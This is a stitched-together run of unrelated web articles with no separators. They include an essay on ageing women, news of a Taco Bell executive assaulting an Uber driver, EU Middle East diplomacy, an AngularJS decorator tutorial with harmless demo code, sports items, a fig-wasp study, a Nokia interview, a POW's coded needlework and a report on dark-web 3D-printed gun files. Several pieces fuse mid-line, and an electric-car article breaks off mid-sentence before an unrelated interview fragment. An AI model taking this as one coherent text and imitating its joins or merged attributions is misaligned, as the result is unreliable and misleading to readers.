The serious point about being invisible is the poverty of viable alternatives. You might think, on the plus side, that if you are beneath regard there is no pressure to conform, or even behave. You can thumb your nose at convention and no one will chide you for it. Like the mischievous old woman in Jenny Joseph’s poem, who promises to rattle her stick along the railings and blow her pension on brandy and fancy gloves, you can make up in midlife for the sobriety of your youth.
But although this – what to call it... freedom by omission? – holds out the promise of gay abandon, I’m not convinced that the solution to the painfulness of moving forward is a simple flip into reverse gear. Jenny Joseph’s idealisations of a second childhood (who else but children can be so irresponsible?) are ultimately infantilising. Yet the Loose Women nudge-and-wink alternative of turbocharging sexuality on the other side of fertility feels too much like parody.
The trouble with such attempts to reset the clock is that they play directly into societal pressures that keep women perpetually on the back foot. In our post-industrial society, which demands that we keep redundancy at bay by working ever longer hours for a greater number of years, it becomes imperative to prove that you’re still in the game. That you can keep up with younger colleagues, work nights and weekends. That you can innovate and adapt – else those new brooms will sweep you aside faster than you can say Rip Van Winkle.
I’m not sure how, in this brave new world, where economic efficiency is the true driver behind age-appropriate expectations of how to behave, middle-aged women are supposed to find their way. But I do know that falling is out of the question.
Marina Benjamin is the author of “Rocket Dreams” and “Last Days in Babylon” and is a senior editor on Aeon Magazine. She tweets as @marinab52Benjamin Golden, captured on camera punching Uber driver Edward Caban, is now apologizing for his actions, saying, "I'm ashamed." Golden was a Taco Bell marketing executive and has since been fired and charged with assault. (Reuters)
The former Taco Bell executive whose attack on a California Uber driver was captured on video is “extremely remorseful” and hopes to offer a face-to-face apology, his attorneys say.
Benjamin Golden’s booking photo. (Courtesy of Costa Mesa Police Department)
Benjamin Golden, 32, has been charged with four misdemeanor counts, including assault, the Orange County District Attorney’s office announced this week. If convicted, Golden could face a year in jail and receive a $10,000 fine, according to the D.A.’s office.
The driver, identified as Edward Caban, posted dashcam footage of the assault on YouTube, where it has been viewed more than 2 million times in less than a week. You can find the footage here, but be aware that it does contain profanity.
In a Reuters video, Golden said that he was “sincerely sorry.”
“I’ve seen the video a couple times, and it’s not me, in the video, you know?” Golden said. “It’s not me. And it was hard to watch, and I’m ashamed. What’s taken me so long to talk to anybody is because I’ve been scared. I lost my job, I don’t have a lot of resources behind me, you know? So I just didn’t know what to do.
“This has been, it’s been overwhelming. And at the end of the day, I messed up, I crossed the line, right? And I apologize to Mr. Caban. I’m sincerely sorry.”
The Los Angeles Times reported that Golden hopes to apologize to Caban in person for the Oct. 30 assault.
“Mr. Golden recognizes that despite his level of intoxication, he should have never slapped Mr. Caban and is extremely remorseful for his actions,” Golden’s attorneys, Anita Kay and Courtney Pilchman, told ABC News.
The Costa Mesa Police Department said the incident occurred after Golden requested an Uber ride from a Newport Beach bar, but then couldn’t provide clear directions.
The Uber driver stopped the ride and asked Golden — whom police described as an “intoxicated male passenger” — to get out of the vehicle.
“All right man, I gotta kick you out,” Caban said in the footage. He continued to tell his passenger to leave, before eventually saying: “get out of my car or I will call the police.”
The passenger opened the door, but then turned violent — slapping Caban on the head, swearing at him, and pulling his hair.
“Mr. Golden has worked hard to live a life of compassion, respect and professionalism and understands the damage that this incident has done,” his attorneys said, according to the Times. “Moving forward, Mr. Golden will avail himself of all opportunities that will assist him in gaining insight and growth from this experience.”
Golden’s arraignment is scheduled for later this month.
After his arrest, Golden was dismissed from his job as a corporate brand manager for Taco Bell.
“Given the behavior of the individual, it is clear he can no longer work for us,” Taco Bell said in a statement. “We have also offered and encouraged him to seek professional help.”
An Uber spokeswoman has said that Golden won’t be able to use the service again.
Read More:
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Israel's Haaretz newspaper said the report states that the Europeans may try to promote the establishment of an actual Palestinian state independent of negotiations with Israel.
The document was compiled following last month's UN vote to recognize Palestine as a non-member observer state and European protests over settlement construction, the newspaper reported.
"A growing understanding can be seen in the EU of the ineffectiveness of the current process," the report is quoted as saying. "This understanding is accompanied by repeated calls to find new channels of progress... The emphasis from their perspective is not on actual direct negotiations between Israel and the Palestinians, but rather on the essential need to move ahead quickly to a permanent-status solution, because the EU recognizes that without a solution, things could go downhill on the ground."
Haaretz also quoted a senior European diplomat as confirming that "The EU thinks there needs to be a peace process in a new format to lead to progress in 2013. We think international parameters should be formulated for the end of the conflict. We will no longer agree that the two sides should sit alone in a room and we should say yes to everything they do."
Stung by the de facto recognition of Palestinian sovereignty by the UN, Israel announced it would expand settlements in the occupied West Bank including East Jerusalem.
On Friday the EU and Russia, which together with the United States and the United Nations make up the Quartet of Middle East mediators, said the settlements were illegal under international law and were an obstacle to peace.
"The EU and the Russian Federation will not recognize any changes to the pre-1967 borders, including with regard to Jerusalem, other than those agreed by the parties," they said.
It was time to take "bold and concrete steps towards peace between Palestinians and Israelis", they said, calling for "direct and substantial negotiations without preconditions".Blake is the content manager for DailyMTG.com, making him the one you should email if you have thoughts on the website, good or less good (or not good). He's a longtime coverage reporter and hasn't turned down a game of Magic in any format ever.
On August 13, in the town of Barrie, Ontario, players gathered to play in the ten-millionth sanctioned Magic event ever held.
Let that sink in for a moment.
Ten. Million. That includes everything from small tournaments at stores all the way up to Pro Tours. Most events are store-level events, so it was appropriate that such a milestone was reached at a store like many others—OMG Games and Collectibles.
The event was Standard Showdown and featured four rounds with 33 players. It was also held as a fundraiser for Children's Aid Society of Simcoe County, raising $1,000 (CAN) for the charity. I'm sure someone went undefeated—but that hardly seems the point.
The point was a celebration of Magic, a celebration of store-level events, and a celebration of what makes Magic a great game to gather around. Here's to ten million more.
Check out the photos below from the event, which was attended by Gavin Verhey and Nelson Brown from Wizards of the Coast.
Photos by Rob JohnsonUsing Module.decorator() In AngularJS 1.4
In the past, we've been able to decorate AngularJS services by using the $provide service in the configuration phase of the application bootstrap. As of AngularJS 1.4, however, the concept of a decorator has been promoted to the Module API, finally living alongside.service(),.factory(),.run(), and the rest of the module methods. And, while this isn't truly new functionality, it does come with a caveat.
Run this demo in my JavaScript Demos project on GitHub.
I really like the idea of promoting the decorator functionality to the module-level because it allows us to isolate the act of decorating. Previously, decoration was just mixed into the general configuration phase and it was, therefore, left up to the developer to decide whether or not it should get its own configuration block; or, if it should be right along side the configuration for, say, $http interceptors. By adding a.decorator() method to the Module, it points the developer in the direction of isolating decorators within their own blocks, the same way we do most everything else in AngularJS.
With this change, however, there is a small caveat that didn't exist before: the service that you are decorating has to be defined before you try to decorate it. Previously, decorators were hidden behind the "configuration phase," which was queued up internally to execute after all of your AngularJS services had already been defined. As such, the order of module method invocation didn't matter -.config() before.service(),.service() before.config() - it was all good.
Now that.decorator() is part of the module API, however, this is no longer the case. Internally, the.decorator() method depends on the $get() method of the target service, as it always did. But, now that decoration is no longer forced to be part of the configuration phase, it means that you have to be explicit in the order of operations. You have to define your target service before your.decorator() call so that the underlying $get() method is available.
I assume that this can be fixed by queuing the.decorator() calls and deferring them until the configuration phase. But, I don't have a strong enough grasp of the AngularJS bootstrap internals to try and make that happen. That said, I'd be somewhat shocked if the AngularJS team doesn't make this change in one of the upcoming dot-releases.
With that said, I put together a quick demo to showcase the Module.decorator() method. I also took this an opportunity to demonstrate that you could decorate the same service more than once. In the following code, we're decorating a simple greeting service to append more text to the return value.
<!doctype html>
<html ng-app="Demo">
<head>
<meta charset="utf-8" />
<title>
Using Module.decorator() In AngularJS 1.4
</title>
</head>
<body>
<h1>
Using Module.decorator() In AngularJS 1.4
</h1>
<p>
<em>See the console</em>.
</p>
<!-- Load scripts. -->
<script type="text/javascript" src="../../vendor/angularjs/angular-1.4.2.min.js"></script>
<script type="text/javascript">
// Create an application module for our demo.
angular.module( "Demo", [] );
// --------------------------------------------------------------------------- //
// --------------------------------------------------------------------------- //
// I run when the AngularJS application is bootstrapped.
angular.module( "Demo" ).run(
function runBlock( greeting ) {
console.log( greeting( "Joanna" ) );
}
);
// --------------------------------------------------------------------------- //
// --------------------------------------------------------------------------- //
// I generate a greeting for the given.
angular.module( "Demo" ).factory(
"greeting",
function greetingFactory() {
return( greeting );
// I return a greeting for the given name.
function greeting( name ) {
return( "Hello " + name + "." );
}
}
);
// --------------------------------------------------------------------------- //
// --------------------------------------------------------------------------- //
// I decorate the "greeting" service, altering the return value.
// --
// CAUTION: Unlike all other module methods, this decorator() has to be defined
// AFTER the service that it is decorating as it relies on the existence of the
// $get() method on the target service.
angular.module( "Demo" ).decorator(
"greeting",
function greetingDecorator( $delegate ) {
// Return the decorated service.
return( decoratedGreeting );
// I append a new message to the existing greeting.
function decoratedGreeting( name ) {
return( $delegate( name ) + " How are you doing?" );
}
}
);
// I decorate the "greeting" service, altering the return value.
// --
// NOTE: I am purposefully not combining this with the.decorator() above in
// order to demonstrate that you can decorate the same service more than once.
// --
// CAUTION: Unlike all other module methods, this decorator() has to be defined
// AFTER the service that it is decorating as it relies on the existence of the
// $get() method on the target service.
angular.module( "Demo" ).decorator(
"greeting",
function greetingDecorator( $delegate ) {
// Return the decorated service.
return( decoratedGreeting );
// I append a new message to the existing greeting.
function decoratedGreeting( name ) {
return( $delegate( name ) + " Is there anything I can get for you?" );
}
}
);
</script>
</body>
</html>
As you can see, we are taking the greeting() service and decorating it twice, adding new text with each proxy. And, when we run the above code, we get the following console output:
Hello Joanna. How are you doing? Is there anything I can get for you?
This is a welcome change in the AngularJS API and helps us developers continue to move in the direction of small, cohesive blocks of code.
Tweet This Fascinating post by @BenNadel - Using Module.decorator() In AngularJS 1.4 Woot woot — you rock the party that rocks the body!Rhys Hoskins' homer barrage is so impressive, his teammates are now asking him for autographs
If you weren't aware, Rhys Hoskins is doing things nobody's done before. With his two-run homer in the second inning of the Phillies' 10-0 win over the Marlins on Thursday, the rookie picked up his 18th of the season.
Thursday marked just the 34th game of Hoskins' young career. Think about that for a second. If you're assuming that's unheard-of territory for baseball players, you'd be correct: He's ahead of the pace set by Gary Sanchez in his rookie campaign for the Yankees last season.
Watch the dinger in the clip atop this post, and make note of Vance Worley's facial expression upon realizing he's now on the list of pitchers who've had this happen to them this year:
With his profile growing larger each trip to the plate these days, Hoskins is amassing fans everywhere he looks -- which in Thursday's case was his own dugout, as outfielder Cam Perkins couldn't stop himself from asking for an autograph:
Just the other day, Marlins manager Don Mattingly quipped that the only way to play defense against Hoskins might be to put fielders in the stands. That's probably true, at least the way things are going right now.
Adrian Garro joined MLB.com in 2016. Throughout his travels, both Bartolo Colon and Vin Scully have placed their hands on his shoulders. Not at the same time, though. That'd be amazing.Perhaps one of the most well-known items in Tom Brady’s highly restrictive diet is his avocado ice cream. Though popularized by the media, the dairy-free dessert is undoubtedly one of the quarterback’s favorite dishes and was even served to Patriots reporters on his 40th birthday.
Those who have approached the delicacy with skepticism now have the opportunity to give the sweet treat a taste for themselves. One of the 15 recipes in Brady’s new book, The TB12 Method: How to Achieve a Lifetime of Sustained Peak Performance, is, in fact, the avocado ice cream. Brady had previously teased a photo from his $200 TB12 Nutritional Manual in 2016, but blurred all of the necessary details.
Advertisement
He describes the dessert as a “modern interpretation of ice cream” that is “just as delicious but much healthier.” Requiring just six ingredients and three steps, the process seems to be very straightforward for readers to try at home.
Ingredients:
1 avocado (ripe and soft)
1/2 cup raw cashews
1/2 cup coconut meat (from young coconuts)
1 1/2 cups dates (pitted)
1 cup raw cacao powder
1 1/4 cups water
Directions:
1. Blend all ingredients in a high-powered blender until smooth.
2. Put mixture in freezer until ice cream reaches desire thickness. (For quicker ice cream, freeze half of the water into ice cubes before blending.)
3. Scoop ice cream into four dishes and serve with your choice of topping.Get the biggest Aston Villa FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Remi Garde and Tom Fox have confirmed the Aston Villa boss will remain in charge if the club is relegated to the Championship.
Villa go into the New Year propping up the Premier League table after picking up just eight points from 19 matches.
Garde is contracted to Villa until 2019 and the boss himself and the chief executive insist he will stay come what may this summer.
Asked if he will remain in charge if the club go down and if the club want him to, Garde replied: “Yes. Both answers are yes.”
Garde then answered “No, I’m not” to a further question over whether he was going anywhere in the event of relegation and “yes” when quizzed about if he was happy at the club.
The 49-year-old Frenchman was Villa’s third manager of the 2015 calendar year after Paul Lambert and Tim Sherwood and is the sixth of the Randy Lerner era, which also includes Martin O’Neill, Gerard Houllier and Alex McLeish.
Villa want some continuity in the dugout and Fox reflected that view when he was asked if Garde is here for the long-term, replying: “We are building something special and Remi Garde is a massive part of what we are trying to build.”
Garde takes Villa to Sunderland today targeting his first win after four draws and four defeats.
He insists it will take time to transform a club whose problems on and off the field pre-date his November arrival.
Garde admits his first two months in the job have been a period of discovery at Bodymoor Heath and Villa Park.
“In every football club there are some difficulties and problems,” he said.
poll loading How will Aston Villa get on at Sunderland? 500+ VOTES SO FAR Win Lose Draw
“Of course I thought we would have won earlier but I knew when you come to club that has played 11 and lost nine you don’t expect to find everything going well.
“If they are (going well) you do not get the call to come in. I knew it would be difficult.
“You cannot have all the same view until you are in and when you are in you discover some things that you didn’t expect.
“But now I am full of confidence for what we can achieve in this club.
“Of course the short-term is not brilliant but nothing has changed in my mind.”Media playback is unsupported on your device Media caption Lead researcher Dr Namrata Gundiah explains how the wasp uses its zinc-tipped drill
Footage captured by scientists has revealed the power of a parasitic wasp, which has evolved a zinc-tipped drill to bore into fruit.
The wasps penetrate the fruit in order to lay their eggs inside.
A team from the Indian Institute of Science in Bangalore found that wasps' fruit-drilling and egg-laying tool - which is thinner than a human hair - has teeth enriched with zinc.
The researchers' study is published in the Journal of Experimental Biology.
The researchers think the fig wasp's egg-laying technique could inspire the design of new tools for microsurgical techniques.
Microscopic drill
Image copyright JEB Image caption Detailed electron micrographs revealed the teeth-like structures enriched with zinc
The female parasitic fig wasp bores its way through a tough, unripe fig to find the larvae of other pollinating insects already developing inside. Its own offspring will then feed on these larvae as they develop within the safety of the fig.
Lead researcher Dr Namrata Gundiah said: "She uses her ovipositor... pushing this needle inside [the fruit] at the location, where she has decided to lay her eggs.
"She has to test the chemical environment inside the fruit as she's doing this, and she wants to complete this process fast, because as you see in [our] video, there are predators nearby waiting for her."
It's the fun of seeing how nature works, rather than finding a utilitarian value for it Dr Namrata Gundiah, Indian Institute of Science
To work out how the wasp managed the arduous task, the team captured images with an electron microscope of the insect's egg-laying appendage, or ovipositor, revealing that its end resembled a drill bit, complete with sharp-edged tooth structures that enabled it to bore through the unripe fruit.
Taking measurements from this tiny drill bit, Dr Gundiah said, revealed the presence of zinc, and that it "was only at these teeth-like structures.
"So we think the zinc is there to harden the tips."
Zinc jaws Scientists first discovered zinc and manganese in the ovipositors and mandibles (jaws) of hymenopterous insects - the order that includes wasps, bees and ants - back in 1998
In 2002, researchers in the US found that zinc helped harden the jaws of a group of marine worms known collectively as Nereis
Dr Namrata said that the technique could be applied to cut through rock and other hard materials.
"In inhospitable places, this could [provide] a clever way to get samples back for us," she told BBC News.
"In the end though, it's the fun of seeing how nature works, rather than finding a utilitarian value for it.
"I'm sure if we look at it long enough, there will be lots of applications that will emerge just knowing how things work in nature."Corporate disorganiser : an expert at shuffling company hierarchies to create a start-up culture of organised chaos.
Crowdfunding specialist : skilled on workings of websites such as kickstarter and who knows how promote ideas to attain maximum funding.
3D printing handyman : offers do-it-all repairs by making parts on site.
Digital death manager : a person who creates, manages or eliminates content to craft your online presence posthumously.
Digital detox therapist : counsellor specialising in weaning technology-stressed individuals off their devices by creating analog-only zones.
Vicarious videographer: adventurer who collects experiences such as mountain climbing via devices such as Googleglass for consumption by armchair explorers.
Urban shepherd: a combination of micro-farmer and guide to natural side of cities who can advise on developing small plots in urban areas.
Privacy consultant: identified vulnerabilities in individual’s personal, physical and online security.
Skype stager: these hired career advisers prepare an individual for increasingly common video interviews or teleconferences and offer tips on etiquette and appearance.
Productivity counsellors: using new tracking technologies, refining lives to boost productivity combining wellnessm ergonomics, time management and career counselling.
Drone driver: expanding use of unmanned aircraft outside the military means these remote pilots will be in heavy demand.
Personal digital curator: a specialist who recommends and maintains your unique suite of apps, hardware, software, and information sources.
Alternative currency speculator: as bitcoin and its peers gain traction, there’s an opportunity for alternative currency arbitrage and investment.
For the comprehensive list of Sparks & Honey's future job predictions, visit the company's website.The theme for this post is to round up some of the more popular 4X titles that we all know and love, and break down how they represent the players population and growth and how that fits into the game’s mechanics.
This theme will be broken up into a few different posts, some to examine games that where the player is managing population in scales of cities or single worlds. Others will examine games where the populations are on a larger scale of planets or galaxies. Some of the specific characteristics of these systems that I will look closely at are how they are graphically represented, how they scale over time, and how the player interacts with the system on micro and macro levels.
Next up in the series of case studies on popular 4X games as they related to 4X game concepts and mechanics is Endless Legend from Amplitude Studios. This game got tons of praise in the 4X community for adding fresh concepts to the genre, along with a beautiful art direction and varied clans to experiment with.
I wrote about the excellent Research mechanics in Endless Legend here. As I outlined in that article, Endless Legend shines brightly in areas where the games consistent attention to detail and outstanding design are front and center. It gets bonus points as a game that carves out lots of new wrinkles into the tried and true genre standards and is able to do so while keeping the game a tightly packaged experience.
This trait applies for the Population and Growth systems as well. The FIDS (Food, Industry, Dust, Science) production system is back, and works just as well in the galaxy as it does on Auriga. It’s a system that was originally founded in Amplitudes sister title, Endless Space. The core concepts are very similar between the two games, but Legend adds some interesting components which round out the Pop and Growth system on macro levels into a key aspect of the game.
Unlike AoW3, the Food output of your empire, which relates directly to how quickly your cities grow, is something that you can see and manage more directly with FIDS. Each hex tile has some output of FIDS values, and as you would expect, grasslands, rivers and some special tiles are the best places to find large Food output.
The calculations system is actually pretty straightforward to start out, and although it can become more complex as the player develops new technologies and improvements, it remains consistent. Each city will have a per unit of population value for each of the FIDS values that they add to the pool. This value can be improved in many ways, such as having a hero govern the city, or developing improvements such as a Granary or City Hall. The surrounding city tiles FIDS outputs are added into the total, along with any modifiers a city or empire has access to such as special resources or alliances. In the case below you’ll see for food each unit population also consumes some food to sustain itself. Any excess is used to add to the food stock, eventually growing another unit of population. Each unit of population can be directed to ‘work’ one of the FIDS outputs directly, allowing the player to specialize his city for various purposes throughout the game.
Over time, as in Endless Space, managing the FIDS output, and most importantly growth of a city becomes a game within the game. The micro required to ‘min/max’ the system especially at higher levels can become a bit cumbersome and time consuming, but overall the mechanic is intuitive, interesting and challenging.
At a macro level, the Endless Legend growth system introduces some new concepts which shake up the 4X conventions a bit more than the FIDS system. There’s three key components we will touch on here as they related to growth.
Cities all start with a City Center, which once you settle the city becomes a special tile modifier for your location. A player can expand the territory of his city to gather up tiles that aren’t yet adjacent to the City Center by building districts. These are produced like other improvements, and once placed expand your border and add some disapproval to the city. As a city expands, its center and districts can level up when built next to one another, and before you know it you’re managing a fantasy metropolis. The game does a gorgeous job representing this growth visually, giving the player a true sense of scale and progression.
As the city outgrows it’s starting area and as the player explores around the map you come across the next key concept in Endless Legends growth system; Regions. Regions break up the game world into distinct zones, each with various inhabitants, resources and geography. Most importantly, each region only allows one city to be built in it. This creates a unique sense of strategic choice for the player when considering expansion. Settling a city in a desert may be a great place for your empire to do research, but it will be some time before the city is a bustling giant without massive infrastructure investments or a capable governor hero. Often times tradeoffs must be made when considering which regions are the most lucrative to bring into your domain, depending on what type of game you’re playing. Even trying to consider how defensible each region is becomes important.
One of the other unique core game play mechanics is the change of seasons in the game world. In the summer food production, vision and movement are relatively easy. But when the season changes to winter, many of this activities grind to a halt. Food specifically is much harder to produce in the winter months, especially as the game progresses and the winters become more harsh. Fortunately there are many skills and technologies that will allow the player to offset these penalties and even create potential opportunities for offense against less prepared enemies.
All in all, Endless Legend is an excellent contribution to the 4X genre and just like it’s Research system the Growth, Cities, and Population systems all gel nicely with the games functions. The system is rewarding, straightforward with a growing learning curve, and gives the player loads of opportunity for choice and interaction. Having whole systems such as these is what gives a game depth and re-playability, so the next time you load up a new instance of Auriga consider how Population Food and Growth can be at the center of your strategy.
Endless Legend a 10/10 score for its Pop and Growth systems for the following reasons:
Well integrated to almost every other game mechanic
Allows for varied strategies and playstyles
Gives the player a sense of progression and scale, becoming almost a game within itself
Interesting new mechanics some of which may end up becoming the next standards in the genre
AdvertisementsThe electric car infrastructure race is on! A short while ago several mayors in the San Francisco Bay Area announced that they would be partnering with Better Place to bring electric vehicle charging stations to the area. Now Hawaii is going to do one better and become the first state to have Better Place charging stations across the entire state.
Considering that the Bay Area has a population of about 7 million and Hawaii |
of the interview.
TechCrunch: Describe what it means to be Vice President and General Manager of App development at Nokia.
Bryan Biniak: For one, I focus on apps with global appeal and reach as opposed to regionally specific applications. We have teams that focus on various regions, but I oversee the applications that ship on a global scale.
I’m also responsible for integrated marketing with those applications. At Nokia, we really try hard to connect these applications to the Nokia story, and the Lumia story, bringing that into the marketing message. We want it to connect with operators and retailers so that we can offer a richer experience through and for the applications.
I came from a world of startups.
TC: What startups?
BB: I started as VP of Business Development at Harmonics Music Systems, then became the COO at YourMobile, before it was acquired by Vivendi. I stayed there a while before moving on to start up the mobile division at American Greetings, and then became the CEO and Founder of Jacked, which was a second screen experience we sold to RoundBox. Now I’m at Nokia.
It’s interesting to switch from one side of the desk to the other. I used to be the guy who went around knocking on office doors at big corporations, and now I’m the guy who’s working with the smaller companies to get them big-time distribution.
TC: Windows Phone has clearly shown growth, but for developers at small startups, the distribution there is pretty limited. You guys are a distant third behind Android and iOS, so I imagine it must be difficult to bring some startups on board the platform, especially those that you’re really desperate for on Windows Phone who are having perfectly good success on the other two platforms. What are some of the biggest challenges you face at your job, and how do you make your argument to these hold-outs?
BB: I don’t think everybody sees the opportunity right away. But when we talk with developers, we explain that we offer an expansive offering. We offer distribution, integrated marketing, technological resources. It’s a symbiotic relationship that we have with our developers and we’re interested in everybody. It’s not about who is stronger and bigger — that doesn’t determine how we treat companies or what kind of investment we’ll make in them. And since it’s a non-equity investment, those entrepreneurs can always act in their own best interest, too.
We’ve taken more of a consultative approach. We want to understand their business goals, their product, consumers, how they use it, and what the team’s roadmap looks like. What I like to do is figure out how we can accelerate all that. Nokia can bring creative technology to the table and package in distribution to drive phenomenal results. These startups don’t have a lot of marketing resources, but we bring them into campaigns for OOH, over the line, under the line, and team them up with the operators. For them, that’s a huge amount of value.
As a young company, certain things drive the next level of valuation. The types of deals we make with apps preserve their cash flow, and give them access to the talent in our company.
TC: But with the Lumia 1020 specifically, which was unveiled yesterday, there’s an entirely separate SDK to take advantage of that 41-megapixel sensor. So with this particular phone, you’re asking developers to take it a step beyond building for a third platform and actually build specifically for a certain phone. That must make things even more complex from a development standpoint.
BB: We have spoken to a number of companies who don’t even have the bandwidth to operate the way they’d like. They explain that they have to keep advancing, but that it’s hard when you’re on a team of 10 to 12 people. They think adding in another platform is daunting.
But when I’m able to bring a device like the 1020 on to the table, it changes the conversation.
I can do stuff on this phone that I can’t do on any other device.
This happened with a number of different companies we spoke to, who saw an opportunity with the Lumia 1020 to fulfill certain pieces of their own dream for their app. We try to explore concepts around development that will help the apps we work with achieve their long-term vision. We have started experimenting to solve real-world problems with our APIs and then open up those solutions to other people.
TC: Let’s move on to a tougher question. The Lumia 1020 is clearly built with imaging in mind, and when I think of mobile photography there’s one app that dominates the thought. You know where I’m headed: What’s the deal with Instagram? When can we expect them on the platform and what are you doing to get them there? Have talks begun?
BB: We are working… very hard on Instagram. We’re working closely with Facebook — as you know, we work with them across all kinds of devices. Microsoft has a close relationship with Facebook, which you can see from the Bing decision, and… for Instagram. We’re working on that.
We’ve also extended our relationship with Twitter so Vine will also come to the platform later this year.
TC: You mentioned earlier that you make investments in applications, and that you offer marketing integration to get them on the platform. What do these deals look like? Have you ever paid any app to get on the platform?
BB: We work very closely with all developers. (Super, super long pause)
Let me answer this in a different way. We have commercial agreements with every company out there. Contractually, we’ve signed NDAs and we don’t talk about the deals in specifics.
What you’ll see is relationships driven by technology, time, and leverage what Microsoft has to offer. With our team at Nokia, we have more people on the ground than anyone else, going to individual markets working on an account-by-account basis. We talk to companies from a business standpoint as well as on the basis of technology. There’s a lot of different things that go into those agreements, but I can’t go into further details.Imprisoned by the old enemy for four years during World War Two, Major Alexis Casdagli never lost his fighting spirit up with his own cheeky form of resistance - adding the secret messages to his needlework which were never spotted by his Nazi captors.
Pinching red and blue thread from a disintegrating pullover belonging to an elderly Cretan general, Casdagli passed the long hours in captivity by painstakingly creating the sampler in cross-stitch.
The passive resistance, ironically displayed in such a gentle pastime, could have put the prisoner of war's life in jeopardy.
But instead of spotting the comments, his Nazi captors put the canvas on display in the castle where he was being held and subsequently three other prison camps.
At first glance the painstaking needlework doesn't look offensive, and the main message reads "This work was done by Major A. Casdagli. No. 3311. While in captivity at Dossel-Warbung Germany December 1941".
But around the outside of the decorative symbols which surround the message, an innocent looking set of dots and dashes is actually morse code.
And the hidden message spells out Casdagli's defiant message to his unwitting Nazi captors: "God Save The King" and "F**k Hitler".
The sampler, which was recently on display at the Victoria and Albert museum, was this week reunited with Mjr Casdagli's son, Tony.
"My father always said that the red cross packages her received kept him alive, but the sewing kept him sane," said 79-year-old Tony.
"He was captured at the battle of Crete and marched up Greece for six weeks before being flown to north Germany.
"Having run a textiles company before the war he knew a little about sewing, so when he was given a canvas by another prisoner he started stitching for something to do."
Alexis was held along with a Greek general, from whose dress jacket Alexis pulled the threads he used to stitch the sampler.
"The Red Cross wouldn't give care packages to captives until they had been held for over a year," said grandfather-of-five Tony.
"So my father had to pick threads from items of clothing. Eventually he was able to ask for thread and canvas in his packages.
"He was so good at it the Germans had him giving classes to his fellow officers, but the Germans never worked out his code."
When Tony was 11, he received a stitched letter through the post. "It is 1,581 days since I saw you last but it will not be long now. Do you remember when I fell down the well? Look after Mummy till I get home again," Casdagli laboriously spelled out with finely stitched letters.
In a bleak, claustrophobic part-map and part-diagram, his father created a needlework of "Room 13, Spangenberg castle".
"At the bottom was a Union flag, added Tony. "National flags were forbidden in the camp, so Casdagli sewed a canvas flap over it with "do not open" written on it in German.
"Each week the same officer would open the flap and say, 'This is illegal,' and Pa said, 'You're showing it, I'm not showing it.'"
Major Casdagli was held captive between June 1941 and April 1945, his time captive split between four different prisoner of war camps.
After the war Alexis's textile business folded and he joined a British mission to Greece during the civil war as a non combatant before starting a perspex factory in London.
He kept up is stitching habit until his death in 1990, at the age of 90, and his son joined him regularly to spend time together sewing.
Tony, a retired Royal Navy officer, who lives in London with his wife Sally, caught the bug off his father when he retired from the navy.
"I still sew when I have nothing else to do," he said. "My father didn't sit down to teach me how to do it but I picked it up watching him."One of the numbers disclosed in Apple’s Schedule 14A filing with the Securities and Exchange Commission was the amount Apple spends annually on protecting CEO Tim Cook. Patently Apple spotted the entry listing “security expenses in the amount of $699,133.”
Tim Cook rarely has much visible security when seen at public events, but bodyguards are doubtless there in the background. It’s likely that a sizeable chunk of the expenditure protects his surprisingly modest four-bedroom home …
NordVPN
If anything, the figure is rather low for the high-profile CEO of one of the largest companies in the world. Fortune noted earlier this year that Amazon last year spent $1.6M on security for CEO Jeff Bezos, while Oracle spent $1.5M on protecting the home of then-CEO Larry Ellison.
The figure likely reflects only those costs that are specific to protecting Cook. There will, of course, be more general security costs associated with protecting Apple execs both at 1 Infinite Loop and at events.
Via Business InsiderWhen Children Rule: Parenting in Modern Families
NBER Working Paper No. 23087
Issued in January 2017
NBER Program(s):Economics of Education
During the 20th century there was a secular transformation within American families from a household dominated by the father to a more egalitarian one in which the wife and the children have been empowered. This transformation coincided with two major economic and demographic changes, namely the increase in economic opportunities for women and a decline in family size. To explain the connection between these trends and the transformation in family relationships we develop a novel model of parenting styles that highlights the importance of competition within the family. The key intuition is that the rise in relative earnings of wives increased competition between spouses for the love and affection of their children while the decline in family size reduced competition between children for resources from their parents. The combined effect has empowered children within the household and allowed them to capture an increasing share of the household surplus over the past hundred years.
Acknowledgments
Machine-readable bibliographic record - MARC, RIS, BibTeX
Document Object Identifier (DOI): 10.3386/w23087
Users who downloaded this paper also downloaded* these:New York Jets general manager Mike Tannenbaum said in the season-ending news conference that embattled offensive coordinator Brian Schottenheimer will return to the team next season. The only exception would be if Schottenheimer gets a head-coaching job.
New York ranked No. 25 in total offense and had a bevy of issues this season, but will give it another try.
"We do expect Brian Schottenheimer back," Tannenbaum said. "We've been with him now for six years. I really respect the job that he's done in terms of working with three different quarterbacks, two [AFC] Championship Games, and he’s done a really incredible job for us."
The Jets confirmed Schottenheimer will interview with the Jacksonville Jaguars for their head-coach opening. Schottenheimer may get more interview requests as jobs continue to open around the league.
Jets head coach Rex Ryan also provided another vote of confidence for Schottenheimer on Monday.Jul 22, 2017 | By David
We all know of the benefits that 3D printing technology can offer and the potential that it has to revolutionize manufacturing and even save lives, but less frequently discussed are the inherent dangers. The open-source, accessible nature of the technology means that all kinds of products can be produced by users in the comfort of their own home, even items that would otherwise be strictly regulated or controlled. An alarming (or alarmist, depending on how you look at it) report recently published by controversial research organization Rand Europe and the University of Manchester outlined the potential that exists for people to 3D print their own guns, with designs obtained on the dark web.
The dark web is a hidden area of the internet that is deliberately inaccessible to Google’s servers, and it contains several ‘crypto-markets’, secret online marketplaces. 12 of these crypto-markets were included in the study, which collected data online for a week in September of last year. It found that instructions for making firearms were the second most popular firearms purchase on the dark web, after firearms themselves. Such purchases include instructions for how to make firearms from scratch and how to convert replica guns into real ones, as well as 3D CAD files for printing a gun. The instructions for how to 3D print a gun were available for as little as $12.
According to the study, the ''availability of 3D models for additive manufacturing of parts, components or full firearms has been recognised by the international community as a major source of concern...The proliferation of guidelines and 3D models, in combination with the increased quality of commercially available 3D printers, may result in more untraceable weapons.''
While many sectors, in particular the manufacturing industry, are finding their day-to-day operations made significantly easier and more efficient with the increasing prevalence of 3D printing technology, the opposite might prove to be true for law enforcement officials.
Judith Aldridge, Professor of Criminology at The University of Manchester and a coinvestigator on the research, added: ''In very simple terms, anyone can connect to the dark web and within minutes have access to a variety of vendors offering their products, which are most often illegal. The dark web enables illegal trade at a global level, removing some of the geographical barriers between vendors and buyers. It also increases the personal safety of both buyers and sellers through a series of anonymising features that obscure their identities. This veil of anonymity, combined with the relative ease of access, makes the dark web an attractive option for a wide range of sellers.''
